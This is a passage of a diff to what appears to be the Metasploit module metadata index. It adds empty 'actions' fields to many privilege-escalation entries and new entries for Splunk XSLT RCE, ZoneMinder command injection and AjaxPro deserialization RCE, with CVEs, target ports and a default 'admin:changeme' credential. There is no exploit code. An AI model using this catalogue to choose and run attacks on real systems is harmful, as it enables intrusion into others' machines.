}, "exploit_solaris/local/libnspr_nspr_log_file_priv_esc": { "name": "Solaris libnspr NSPR_LOG_FILE Privilege Escalation", @@ -110546,7 +116978,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_solaris/local/rsh_stack_clash_priv_esc": { "name": "Solaris RSH Stack Clash Privilege Escalation", @@ -110605,7 +117040,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_solaris/local/xscreensaver_log_priv_esc": { "name": "Solaris xscreensaver log Privilege Escalation", @@ -110666,7 +117104,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_solaris/lpd/sendmail_exec": { "name": "Solaris LPD Command Execution", @@ -112829,6 +119270,70 @@ "session_types": false, "needs_cleanup": null }, + "exploit_unix/http/splunk_xslt_authenticated_rce": { + "name": "Splunk Authenticated XSLT Upload RCE", + "fullname": "exploit/unix/http/splunk_xslt_authenticated_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-11-28", + "type": "exploit", + "author": [ + "nathan", + "Valentin Lobstein", + "h00die" + ], + "description": "This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.\n The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages\n a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid\n credentials, typically 'admin:changeme' by default.\n\n The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the\n vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript'\n capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides\n the attacker with remote control over the compromised Splunk instance. The module is designed to work\n seamlessly, ensuring successful exploitation under the right conditions.", + "references": [ + "CVE-2023-46214", + "URL-https://github.com/nathan31337/Splunk-RCE-poc", + "URL-https://advisory.splunk.com/advisories/SVD-2023-1104", + "URL-https://blog.hrncirik.net/cve-2023-46214-analysis" + ], + "platform": "Linux,Unix", + "arch": "php, cmd", + "rport": 8000, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic" + ], + "mod_time": "2023-12-11 15:36:10 +0000", + "path": "/modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb", + "is_install_path": true, + "ref_name": "unix/http/splunk_xslt_authenticated_rce", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_unix/http/syncovery_linux_rce_2022_36534": { "name": "Syncovery For Linux Web-GUI Authenticated Remote Command Execution", "fullname": "exploit/unix/http/syncovery_linux_rce_2022_36534", @@ -113228,7 +119733,10 @@ "session_types": [ ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_unix/local/chkrootkit": { "name": "Chkrootkit Local Privilege Escalation", @@ -113285,7 +119793,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_unix/local/emacs_movemail": { "name": "Emacs movemail Privilege Escalation", @@ -113343,7 +119854,10 @@ "session_types": [ "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_unix/local/exim_perl_startup": { "name": "Exim \"perl_startup\" Privilege Escalation", @@ -113398,7 +119912,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_unix/local/netbsd_mail_local": { "name": "NetBSD mail.local Privilege Escalation", @@ -113455,7 +119972,10 @@ "shell", "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_unix/local/opensmtpd_oob_read_lpe": { "name": "OpenSMTPD OOB Read Local Privilege Escalation", @@ -113508,7 +120028,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_unix/local/setuid_nmap": { "name": "Setuid Nmap Exploit", @@ -113562,7 +120085,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_unix/misc/distcc_exec": { "name": "DistCC Daemon Command Execution", @@ -122523,6 +129049,68 @@ "session_types": false, "needs_cleanup": null }, + "exploit_unix/webapp/zoneminder_snapshots": { + "name": "ZoneMinder Snapshots Command Injection", + "fullname": "exploit/unix/webapp/zoneminder_snapshots", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-02-24", + "type": "exploit", + "author": [ + "UnblvR", + "whotwagner" + ], + "description": "This module exploits an unauthenticated command injection\n in zoneminder that can be exploited by appending a command\n to the \"create monitor ids[]\"-action of the snapshot view.\n Affected versions: < 1.36.33, < 1.37.33", + "references": [ + "CVE-2023-26035", + "URL-https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr" + ], + "platform": "Linux,Unix", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "nix Command", + "Linux (Dropper)" + ], + "mod_time": "2023-11-09 22:23:27 +0000", + "path": "/modules/exploits/unix/webapp/zoneminder_snapshots.rb", + "is_install_path": true, + "ref_name": "unix/webapp/zoneminder_snapshots", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_unix/webapp/zpanel_username_exec": { "name": "ZPanel 10.0.0.2 htpasswd Module Username Command Execution", "fullname": "exploit/unix/webapp/zpanel_username_exec", @@ -147664,6 +154252,69 @@ "session_types": false, "needs_cleanup": true }, + "exploit_windows/http/ajaxpro_deserialization_rce": { + "name": "AjaxPro Deserialization Remote Code Execution", + "fullname": "exploit/windows/http/ajaxpro_deserialization_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2021-12-03", + "type": "exploit", + "author": [ + "Hans-Martin Münch (MOGWAI LABS)", + "Jemmy Wang" + ], + "description": "This module leverages an insecure deserialization of data to get\n remote code execution on the target OS in the context of the user\n running the website which utilized AjaxPro.\n\n To achieve code execution, the module will construct some JSON data\n which will be sent to the target. This data will be deserialized by\n the AjaxPro JsonDeserializer and will trigger the execution of the\n payload.\n\n All AjaxPro versions prior to 21.10.30.1 are vulnerable to this\n issue, and a vulnerable method which can be used to trigger the\n deserialization exists in the default AjaxPro namespace.\n\n AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom\n method that accepts a parameter of type that is assignable from\n `ObjectDataProvider` (e.g. `object`) exists, the vulnerability can\n still be exploited.\n\n This module has been tested successfully against official AjaxPro on\n version 7.7.31.1 without any modification, and on version 21.10.30.1\n with a custom vulnerable method added.", + "references": [ + "CVE-2021-23758", + "URL-https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/" + ], + "platform": "Windows", + "arch": "cmd, x86, x64", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Windows Command", + "Windows Dropper" + ], + "mod_time": "2023-11-03 00:04:20 +0000", + "path": "/modules/exploits/windows/http/ajaxpro_deserialization_rce.rb", + "is_install_path": true, + "ref_name": "windows/http/ajaxpro_deserialization_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "screen-effects", + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_windows/http/altn_securitygateway": { "name": "Alt-N SecurityGateway username Buffer Overflow", "fullname": "exploit/windows/http/altn_securitygateway", @@ -160617,7 +167268,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/agnitum_outpost_acs": { "name": "Agnitum Outpost Internet Security Local Privilege Escalation", @@ -160661,7 +167315,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/alpc_taskscheduler": { "name": "Microsoft Windows ALPC Task Scheduler Local Privilege Elevation", @@ -160713,7 +167370,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/always_install_elevated": { "name": "Windows AlwaysInstallElevated MSI", @@ -160758,7 +167418,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/anyconnect_lpe": { "name": "Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)", @@ -160815,7 +167478,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/applocker_bypass": { "name": "AppLocker Execution Prevention Bypass", @@ -160858,7 +167524,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/appxsvc_hard_link_privesc": { "name": "AppXSvc Hard Link Privilege Escalation", @@ -160906,7 +167575,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/ask": { "name": "Windows Escalate UAC Execute RunAs", @@ -160949,7 +167621,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/bits_ntlm_token_impersonation": { "name": "SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.", @@ -161004,7 +167679,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/bthpan": { "name": "MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation", @@ -161050,7 +167728,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/bypassuac": { "name": "Windows Escalate UAC Protection Bypass", @@ -161095,7 +167776,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_comhijack": { "name": "Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)", @@ -161150,7 +167834,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_dotnet_profiler": { "name": "Windows Escalate UAC Protection Bypass (Via dot net profiler)", @@ -161204,7 +167891,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_eventvwr": { "name": "Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)", @@ -161250,7 +167940,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_fodhelper": { "name": "Windows UAC Protection Bypass (Via FodHelper Registry Key)", @@ -161296,7 +167989,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_injection": { "name": "Windows Escalate UAC Protection Bypass (In Memory Injection)", @@ -161345,7 +168041,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_injection_winsxs": { "name": "Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS", @@ -161388,7 +168087,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_sdclt": { "name": "Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)", @@ -161443,7 +168145,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_silentcleanup": { "name": "Windows Escalate UAC Protection Bypass (Via SilentCleanup)", @@ -161493,7 +168198,10 @@ "meterpreter", "shell" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_sluihijack": { "name": "Windows UAC Protection Bypass (Via Slui File Handler Hijack)", @@ -161538,7 +168246,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_vbs": { "name": "Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)", @@ -161582,7 +168293,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_windows_store_filesys": { "name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)", @@ -161632,7 +168346,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/bypassuac_windows_store_reg": { "name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry", @@ -161682,7 +168399,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/canon_driver_privesc": { "name": "Canon Driver Privilege Escalation", @@ -161734,7 +168454,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/capcom_sys_exec": { "name": "Windows Capcom.sys Kernel Execution Exploit (x64 only)", @@ -161777,7 +168500,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/comahawk": { "name": "Microsoft UPnP Local Privilege Elevation Vulnerability", @@ -161826,7 +168552,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/current_user_psexec": { "name": "PsExec via Current User Token", @@ -161871,7 +168600,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2017_8464_lnk_lpe": { "name": "LNK Code Execution Vulnerability", @@ -161927,7 +168659,10 @@ "session_types": [ ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/cve_2018_8453_win32k_priv_esc": { "name": "Windows NtUserSetWindowFNID Win32k User Callback", @@ -161983,7 +168718,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/cve_2019_1458_wizardopium": { "name": "Microsoft Windows Uninitialized Variable Local Privilege Elevation", @@ -162040,7 +168778,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2020_0668_service_tracing": { "name": "Service Tracing Privilege Elevation Vulnerability", @@ -162098,7 +168839,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/cve_2020_0787_bits_arbitrary_file_move": { "name": "Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability", @@ -162156,7 +168900,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/cve_2020_0796_smbghost": { "name": "SMBv3 Compression Buffer Overflow", @@ -162218,7 +168965,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2020_1048_printerdemon": { "name": "Microsoft Spooler Local Privilege Elevation Vulnerability", @@ -162274,7 +169024,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2020_1054_drawiconex_lpe": { "name": "Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation", @@ -162333,7 +169086,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2020_1313_system_orchestrator": { "name": "Windows Update Orchestrator unchecked ScheduleWork call", @@ -162387,7 +169143,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2020_1337_printerdemon": { "name": "Microsoft Spooler Local Privilege Elevation Vulnerability", @@ -162446,7 +169205,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2020_17136": { "name": "CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP", @@ -162500,7 +169262,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/cve_2021_21551_dbutil_memmove": { "name": "Dell DBUtil_2_3.sys IOCTL memmove", @@ -162555,7 +169320,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2021_40449": { "name": "Win32k NtGdiResetDC Use After Free Local Privilege Elevation", @@ -162616,7 +169384,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2022_21882_win32k": { "name": "Win32k ConsoleControl Offset Confusion", @@ -162685,7 +169456,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2022_21999_spoolfool_privesc": { "name": "CVE-2022-21999 SpoolFool Privesc", @@ -162741,7 +169515,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/cve_2022_26904_superprofile": { "name": "User Profile Arbitrary Junction Creation Local Privilege Elevation", @@ -162799,7 +169576,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/cve_2022_3699_lenovo_diagnostics_driver": { "name": "Lenovo Diagnostics Driver IOCTL memmove", @@ -162831,7 +169611,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2023-01-19 22:16:54 +0000", + "mod_time": "2023-11-28 14:35:26 +0000", "path": "/modules/exploits/windows/local/cve_2022_3699_lenovo_diagnostics_driver.rb", "is_install_path": true, "ref_name": "windows/local/cve_2022_3699_lenovo_diagnostics_driver", @@ -162852,7 +169632,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2023_21768_afd_lpe": { "name": "Ancillary Function Driver (AFD) for WinSock Elevation of Privilege", @@ -162908,7 +169691,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/cve_2023_28252_clfs_driver": { "name": "Windows Common Log File System Driver (clfs.sys) Elevation of Privilege Vulnerability", @@ -162962,7 +169748,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/dnsadmin_serverlevelplugindll": { "name": "DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation", @@ -163017,7 +169806,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/docker_credential_wincred": { "name": "Docker-Credential-Wincred.exe Privilege Escalation", @@ -163070,7 +169862,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc": { "name": "Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation", @@ -163131,7 +169926,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/gog_galaxyclientservice_privesc": { "name": "GOG GalaxyClientService Privilege Escalation", @@ -163183,7 +169981,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/ikeext_service": { "name": "IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL", @@ -163227,7 +170028,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/ipass_launch_app": { "name": "iPass Mobile Client Service Privilege Escalation", @@ -163270,7 +170074,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/lenovo_systemupdate": { "name": "Lenovo System Update Privilege Escalation", @@ -163316,7 +170123,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/lexmark_driver_privesc": { "name": "Lexmark Driver Privilege Escalation", @@ -163372,7 +170182,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/microfocus_operations_privesc": { "name": "Micro Focus Operations Bridge Manager / Reporter Local Privilege Escalation", @@ -163420,7 +170233,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/mov_ss": { "name": "Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability", @@ -163469,7 +170285,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/mqac_write": { "name": "MQAC.sys Arbitrary Write Privilege Escalation", @@ -163517,7 +170336,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms10_015_kitrap0d": { "name": "Windows SYSTEM Escalation via KiTrap0D", @@ -163566,7 +170388,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms10_092_schelevator": { "name": "Windows Escalate Task Scheduler XML Privilege Escalation", @@ -163623,7 +170448,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms11_080_afdjoinleaf": { "name": "MS11-080 AfdJoinLeaf Privilege Escalation", @@ -163682,7 +170510,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms13_005_hwnd_broadcast": { "name": "MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation", @@ -163730,7 +170561,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/ms13_053_schlamperei": { "name": "Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)", @@ -163777,7 +170611,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms13_081_track_popup_menu": { "name": "Windows TrackPopupMenuEx Win32k NULL Page", @@ -163830,7 +170667,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms13_097_ie_registry_symlink": { "name": "MS13-097 Registry Symlink IE Sandbox Escape", @@ -163876,7 +170716,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms14_009_ie_dfsvc": { "name": "MS14-009 .NET Deployment Service IE Sandbox Escape", @@ -163922,7 +170765,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms14_058_track_popup_menu": { "name": "Windows TrackPopupMenu Win32k NULL Pointer Dereference", @@ -163975,7 +170821,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms14_070_tcpip_ioctl": { "name": "MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference", @@ -164022,7 +170871,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms15_004_tswbproxy": { "name": "MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape", @@ -164068,7 +170920,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms15_051_client_copy_image": { "name": "Windows ClientCopyImage Win32k Exploit", @@ -164121,7 +170976,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms15_078_atmfd_bof": { "name": "MS15-078 Microsoft Windows Font Driver Buffer Overflow", @@ -164161,7 +171019,7 @@ "targets": [ "Windows 8.1 x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2023-10-12 17:33:58 +0000", "path": "/modules/exploits/windows/local/ms15_078_atmfd_bof.rb", "is_install_path": true, "ref_name": "windows/local/ms15_078_atmfd_bof", @@ -164173,7 +171031,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms16_014_wmi_recv_notif": { "name": "Windows WMI Receive Notification Exploit", @@ -164221,7 +171082,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms16_016_webdav": { "name": "MS16-016 mrxdav.sys WebDav Local Privilege Escalation", @@ -164265,7 +171129,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms16_032_secondary_logon_handle_privesc": { "name": "MS16-032 Secondary Logon Handle Privilege Escalation", @@ -164322,7 +171189,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms16_075_reflection": { "name": "Windows Net-NTLMv2 Reflection DCOM/RPC", @@ -164372,7 +171242,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms16_075_reflection_juicy": { "name": "Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)", @@ -164425,7 +171298,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ms18_8120_win32k_privesc": { "name": "Windows SetImeInfoEx Win32k NULL Pointer Dereference", @@ -164477,7 +171353,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/ms_ndproxy": { "name": "MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation", @@ -164533,7 +171412,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/novell_client_nicm": { "name": "Novell Client 2 SP3 nicm.sys Local Privilege Escalation", @@ -164580,7 +171462,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/novell_client_nwfs": { "name": "Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation", @@ -164626,7 +171511,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/nscp_pe": { "name": "NSClient++ 0.5.2.35 - Privilege escalation", @@ -164690,7 +171578,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ntapphelpcachecontrol": { "name": "MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check", @@ -164746,7 +171637,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/ntusermndragover": { "name": "Microsoft Windows NtUserMNDragOver Local Privilege Elevation", @@ -164803,7 +171697,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/nvidia_nvsvc": { "name": "Nvidia (nvsvc) Display Driver Service Local Privilege Escalation", @@ -164848,7 +171745,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "exploit_windows/local/panda_psevents": { "name": "Panda Security PSEvents Privilege Escalation", @@ -164892,7 +171792,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": true + "needs_cleanup": true, + "actions": [ + + ] }, "exploit_windows/local/payload_inject": { "name": "Windows Manage Memory Payload Injection", @@ -164935,7 +171838,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, 